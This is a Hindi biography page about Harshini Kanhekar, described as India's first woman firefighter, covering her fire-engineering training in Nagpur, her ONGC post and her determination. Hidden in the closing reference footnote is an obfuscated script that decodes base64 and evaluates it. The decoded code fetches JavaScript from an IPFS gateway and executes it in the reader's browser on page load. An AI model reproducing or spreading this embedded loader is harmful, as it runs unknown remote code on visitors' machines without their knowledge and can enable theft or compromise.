हर्षिणी कान्हेकर

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हर्षिणी कान्हेकर

हर्षिणी कान्हेकर (अंग्रेज़ी: Harshini Kanhekar) भारत की पहली महिला फायर फाइटर हैं। जिस तरह से वह अपनी इस जिम्मेदारी को संभालती हैं ये उनके बुलंद हौंसले को दर्शाता है। फायर फाइटर के तौर पर हर्षिणी कान्हेकर की जिंदगी का ज्यादातर समय कड़ी मेहनत और ड्रिल एक्टिविटिज में जाता है।[1] बचाव कार्य के दौरान इस्तेमाल होने वाले भारी उपकरण को संभालने और उठाने में भी वो पूरी तरह से कुशल हैं। इसके अलावा हर्षिनी को भारी वाहनों, पैरामेडिक्स, नगर नियोजन और बचाव तकनीक की भी खास जानकारी है। पानी की आपूर्ति और दूसरे लोगों के मनोविज्ञान को समझना में उन्हें अच्छे से आता है।

परिचय

हर्षिणी कान्हेकर का सपना था कि वो सशस्त्र बल में शामिल हों और सेना की वर्दी पहनें, लेकिन भाग्य से वो एक फायर फाइटर बनीं। 26 साल की उम्र में उन्होंने फायर और आपातकालीन सेवाओं के एक कोर्स में प्रवेश लिया। इस कोर्स को पास करने के बाद हर्षिणी कान्हेकर ऑयल एंड नैचुरल गैस कमिशन (ओएनजीसी) में फायर इंजीनियर बनीं। उन्होंने फायर इंजीनियरिंग का कोर्स नागपुर स्थित नेशनल फायर सर्विस कॉलेज से किया। वह पहली भारतीय महिला थीं जिन्होंने साल 2002 में इस कोर्स में दाखिला लिया। इतना ही नहीं, वे पहली महिला बनीं जिन्होंने इस कोर्स में एडमिशन के बाद उसे पास किया और आगे बढ़ीं।

महिलाओं के लिये मिसाल

जिस तरह से हर्षिणी कान्हेकर ने पुरुषों को गढ़ में एंट्री मारी, बाकी महिलाओं के एक मिसाल के तौर पर है। हर्षिणी कान्हेकर ने नागपुर प्रमुख गर्ल्स कॉलेज में पढ़ाई की है। वह एक एनसीसी कैडेट भी थीं। वहीं से उन्हें सेना की वर्दी पहनने की प्रेरणा मिली। हर्षिणी कान्हेकर ने मीडिया को दिए अपने इंटरव्यू में कई बार कहा है कि मुझे नहीं लगता कि कोई नौकरी केवल पुरुषों के लिए है या सिर्फ महिलाओं के लिए है। मैं खुद को भाग्यशाली मानती हूं कि मैंने नंबर एक स्थान हासिल किया; लेकिन मैं सच कहूं कि तो मेरी जिसमें दिलचस्पी थी, जिसे मैं प्यार करती थी वास्तव में आज मैं वही काम कर रही हूं। हर्षिणी कान्हेकर बाइक चलाना पसंद करती हैं। इसके अतिरिक्त गिटार और ड्रम बजाती हैं तथा फोटोग्राफी भी करती हैं।

दृढ़ निश्चयी

एक बार हर्षिणी कान्हेकर अपने पिता के साथ संस्थान में फॉर्म भरने गई थीं लेकिन वहाँ मौजूद लोगों ने इनका फॉर्म अलग रख दिया था। बस उसी दिन इन्होंने निश्चय कर लिया था कि नौकरी करनी है तो बस यहीं करनी है। 1956 के बाद नेशनल फायर सर्विस कॉलेज में किसी महिला का प्रवेश हुआ था। सब लोग चाहते थे कि वे कॉलेज छोड़कर चली जाएँ। परन्तु हर्षिणी ने मन में ठान लिया था कि किसी भी कीमत पर यह कोर्स पूरा करके ही रहूंगी।


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टीका टिप्पणी और संदर्भ

  1. 8 ऐसी भारतीय महिलाएं जिनके जीवन से हमे प्रेरणा लेनी चाहिए (हिंदी) herbeauty.co/in। अभिगमन तिथि: 28 अक्टूबर, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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